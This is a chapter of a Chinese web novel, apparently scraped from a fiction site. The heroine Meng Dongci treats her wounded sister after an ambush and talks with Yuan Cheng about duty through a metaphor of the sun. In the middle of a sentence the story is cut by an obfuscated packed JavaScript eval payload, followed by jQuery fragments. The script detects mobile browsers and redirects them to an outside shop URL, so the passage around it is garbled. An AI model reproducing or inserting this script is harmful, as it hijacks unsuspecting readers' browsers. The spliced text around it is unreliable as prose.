109. 以日拟人

作品:《女相训狗亡国记

    “帝王之威,不在于能决定多少人死,而是能保住多少人生。”


    孟冬辞说罢,元珵半晌没有缓过神。


    他少时杂七杂八地看过一些有关大煜的话本子,知道大煜早前虽数次法度重修,却也没有繁盛至此,若真算起来,也就是近六七十年的光景,此前他一直想不通因由,直到孟冬辞与他说了这句话。


    洪辽历代国君,皆秉承‘皇权至高无上,众生理当俯首’的治国之道,叛者杀,仇者杀,妄动皇权者杀,有悖君上者杀。


    生杀大权,不过君主一念之间,好似除去王座上的那一人,众生皆是蝼蚁。


    可大煜近百年的君主,无论是女帝还是她的父亲,都和孟冬辞说的一样,是站在百姓的角度往上看的。


    就像孟冬辞,她从未在百姓面前立过威,没杀过一个无辜之人,但她的声名,仍旧遍及天下。


    一直想置她于死地的元戎、听了她姓名便挥剑自刎的元棣、被她几句话吓破了胆的元轲、甚至是对她动刑的屠申,所有人都以为她能站上高位,是因为手段狠厉、杀伐果决,可其实,她能站在如今的位置上,从来都是因为她与生俱来的善良。


    但洪辽之内,只要是手握权柄的人,就永远不会认同这样的道理。


    元珵直到此刻才知道孟冬辞交给他的,是一件他绝无可能办到的事。


    “请问此处附近可有乡镇?”元珵正出神,孟冬辞已与玳浧族人说起了话,“我妹妹伤重,需得寻个妥帖郎中瞧过。”


    “自此处往南,再走上十余里,有个不大的镇子,”其中一个族人往后看了仍在昏迷的林融霜一眼,摇头,“你们没有马车,想买马车也要到镇子上,可这个姑娘伤得太重,走不了这么远。”


    他话音才落,陆羽便自后边一瘸一拐地走上前,朝那族人伸手:“断血带了么?”


    那族人一怔,伸手探了自己的腰包没有,又回身去问余下的人。只有两人带着,凑出小半盒递给陆羽,却都摇头:“断血只能止血,却续不了命,她伤得太重了。”


    “她底子好又不知疼,不会一直晕着,止了血,就能活,”陆羽从自己腰间摸出个小瓷瓶,与那木盒子一并递给孟冬辞,“给她捡深的伤口用,应该是够的。”


    孟冬辞认出了那药,是年初二她与林融霜在小巷遇伏,陆羽给她止血用的,赤色的药粉,撒到伤口上虽是剧痛,但须臾便能止血。


    孟冬辞因而接过瓷瓶,将木盒推回去:“常易,你的伤也需处理。”


    “都不深,普通疮药就够,”陆羽将木盒往孟冬辞手里一塞,怕她再推拒似的往后退了两步,“若有剩余,嫂嫂手臂的伤,也该包扎一下。”


    孟冬辞今日穿着靛蓝劲装,为夜间好行,外头还套着一层皂色罩纱,自己都没注意自己伤着了,经他一说,方隐隐觉得疼,因而朝他弯起唇角:“常易,今日,多亏有你。”


    陆羽往日就不大会笑,别别扭扭地扯了扯嘴角,才要说话,元珵便一把将他扯到身边。


    “过来,我替你包扎,”元珵不敢当着孟冬辞的面找陆羽的茬儿,只好阴阳怪气地念了一句,“两次帮她瞒我,陆常易,你倒给自己找了个好靠山。”


    这话分明是借着陆羽说给她听的,孟冬辞深深看了元珵一眼,转身去给林融霜止血。


    身后,姜珣已脱了外袍铺在地上,将林融霜平放在上边,正以匕首小心地将她最外一层衣裳往开割。


    “我来罢,”孟冬辞蹲下身,见姜珣手哆嗦得厉害,接过匕首,“若她醒了,见你正扒她的衣裳,你怎么解释?”


    “随她怎么想,若她有力气起身打我一顿,我反而高兴呢,”姜珣站起身背过去,挡住其他人的视线,问孟冬辞,“西境时,她也总这样受伤么?”


    “小丫头自从离了我身边,就学会了报喜不报忧,西境递回来的家信,只说自己打了几场胜仗,杀了多少敖朔蛮人,从没说过自己受不受伤,”解开最后一件里衣,孟冬辞看着林融霜身上纵横交错的伤口,喉头酸得厉害,缓了几口气方说,“直到她回来那年,跑到我屋里跟我挤一张榻,我才发现她身上添了许多疤。”


    姜珣又问:“她的名字,是你取的么?”


    孟冬辞将药粉倒在林融霜锁骨处最深的一道伤口上,一滴泪顺着眼尾滑落。因为那伤再偏一寸,就能割开她的喉咙。


    因而半晌才答姜珣:“是我娘。”


    “曾听你说,她自小性子活泼,怎么取了这么个沉静的名字?”


    “我娘没说过,大抵是依着我的字取的罢,”孟冬辞手上动作没停,反问姜珣,“问这个做什么?”


    还没等姜珣答,林融霜已醒转,张开眼见孟冬辞蹲在她身侧,手里还拿着布条,便轻声问:“阿姐……周奉身的伤,重不重?”


    孟冬辞曲起指节擦掉她额角的汗,摇头:“不重。”


    “那阿姐叫他过来,”林融霜抓住孟冬辞的手腕,“他擅作主张,乱了队形,太没规矩,我要训他几句。”


    林融霜这模样,分明是已知周池战死,却不愿相信,孟冬辞怕她才醒一难受牵着伤口,因而轻声哄道:“阿姐替你训过他了。”


    “阿姐,”林融霜眼泪连成串地往鬓发里没进去,“我才到军中那年,年纪小,将士们都不服我,只有周奉身愿意跟着我,他有功,你别训他太多。”


    孟冬辞替她擦眼泪:“好。”


    断血的药效极快,几句话的工夫,浅些的伤口血已止住,孟冬辞伸手将林融霜搀起坐着,将自己的外衫解下替她披好,方与姜珣说:“二殿下转身罢。”


    姜珣才转过身,林融霜便问他:“二殿下,你去看过周奉身了么?”


    姜珣点头,将手臂伸向林融霜:“能走么?我扶你去看他。”


    林融霜却先看向孟冬辞。


    孟冬辞绕到她身后,将她乱蓬蓬的头发理顺,绾成个低髻,方说:“去罢。”


    不远处,玳浧族人正替周池等人收殓尸身,孟冬辞看着林融霜一步一挪地走过去,蹲下身要去背周池,被姜珣拦住。


    姜珣不知与她说了句什么,孟冬辞听见林融霜喊道:“周池是我大煜将士,就算死了,也不能葬在洪辽这样腌臜的地方。”


    姜珣大抵是拗不过她,俯身替她背起了周池的尸首,跟着她一步一挪地往这头走过来。


    林融霜心里难受,却总想着不叫她也跟着一起难受,这种时候,姜珣反而是最合适陪在她身边的人,因而孟冬辞有意躲开他俩,想到僻静处去暂歇,可一回身,便见元珵站在她身后,眼也不眨地看着她。


    不舍与不甘,皆是毫不遮掩。


    天已大亮,日头自矮山后冒出来,将寸草未生的官道连带着本烧得焦黑的林子,皆镀上了一层浅淡的生机。


    以此处的情形来看,元戎的这些私兵俱是精锐,只不过是常年隐匿,疏于训练,少了些规矩,临邺城防尚可,天虎军也堪用,只要城防军不反水,元羲就能守得住城门。


    这里离官道不远,没有急促的马蹄声,也没有探路的斥候,按时辰来算,元羲的兵马已到,临邺城最难的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679521|174735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时候,已经过了。


    元珵弃城来此固然不对,可也是因为元羲心疼这个弟弟,放了他出京,元珵自来如此,她不是早就知道么?


    “元和安,”孟冬辞因而看向元珵,问,“你还有话与我说?”


    “好多,”元珵往前走了一步,“你让说么?”


    孟冬辞轻叹:“陪我走走罢。”


    跑了半宿的马,又吊了半宿的精神,这会儿心神宽下来,孟冬辞忽地觉得累极了,脚下又全是枯枝杂草,腿沉的坠了沙袋似的,步子迈得有些力不从心,干脆就找了个尚算干净的树桩子坐下。


    元珵也跟着挤在她身侧坐下,觉出她累,伸手将她往身边揽过来,让她大半的力都倚在他身上,方说:“裁掉虞市的事已在筹办,瞿婉也被郑惠接到了郑家,她还趁着朝臣们没反应过来,又提了三处工坊新建的事,皆是按你先前说的大煜的办法,留牌子签活契,若有人欺负女工,会有工部的人给她们做主,还有……”


    “你办得很好,”孟冬辞轻声打断元珵,“别太心急。”


    元珵将她的指尖拢在掌心,没应这话。


    “今日那番话,是我心里难受,说得重了,”孟冬辞反握住元珵的手,“二殿下说得对,不是所有人,都会像我一样和自己的感情讲道理的。”


    “孟桉,”元珵轻声叫她的名字,半晌方说,“昨夜听闻你可能遇伏的消息时,我真的怕极了。”


    孟冬辞点头:“我知道。”


    元珵又解释:“我当时什么都不会想了,就想着,就算死也要与你死在一处。”


    孟冬辞轻笑:“我知道。”


    元珵:“我怕你……等等!”


    孟冬辞偏头看他。


    “你方才说……二殿下?”元珵指向姜珣的方向,“你说他是……你们大煜的二皇子?”


    孟冬辞失笑:“我当你早知道了。”


    “我若早知道他也是皇子,定然多去找找他的麻烦,”元珵说着,又笑,“但他已有了心上人,定然不会再来招惹你了罢。”


    孟冬辞:“……”


    又坐了一会儿,见姜珣陆羽他们收拾得差不多该启程了,元珵方收起笑,问孟冬辞:“此事因元戎而起,你想怎么处置他,我都依你。”


    “此事本就因两国之争而起,不是私怨,”孟冬辞摇头,“就按你原本想的,要么关着一辈子,要么杀了,我不干涉。”


    元珵隔着腰间荷包捏住里边的金玺,抬眼往已升至山尖的日头处看去,轻声问孟冬辞:“你说,那日头整天挂得那么高,累不累?”


    孟冬辞也顺着他的视线看过去,答:“职责所在。”


    元珵又问:“那它独自一个挂在那儿,会不会觉得孤单?”


    孟冬辞答:“它予万物暖意和生机,万物皆是它的照应。”


    元珵:“那若有一日,它落下山,便再也不想升起来了呢?”


    孟冬辞缓缓自他掌心抽出手,站起身:“我们准备启程了,这一闹,宫里的折子定然要摞成山了,你也回罢。”


    元珵却仍看着她。


    孟冬辞转身往姜珣与林融霜的方向走。


    “你留信说种种因由不能面别,但咱们还是在此处见着了,”元珵松开荷包,叫她的名字,“孟桉,世间之事本就无常,玳浧族人说,极北之地,日头并不是每日都将自己挂在天上的,可见它也没那么重要。”


    “它重要与否,不能由它自己来判。”孟冬辞没有回头。


    “它没有退路,你我也是一样。”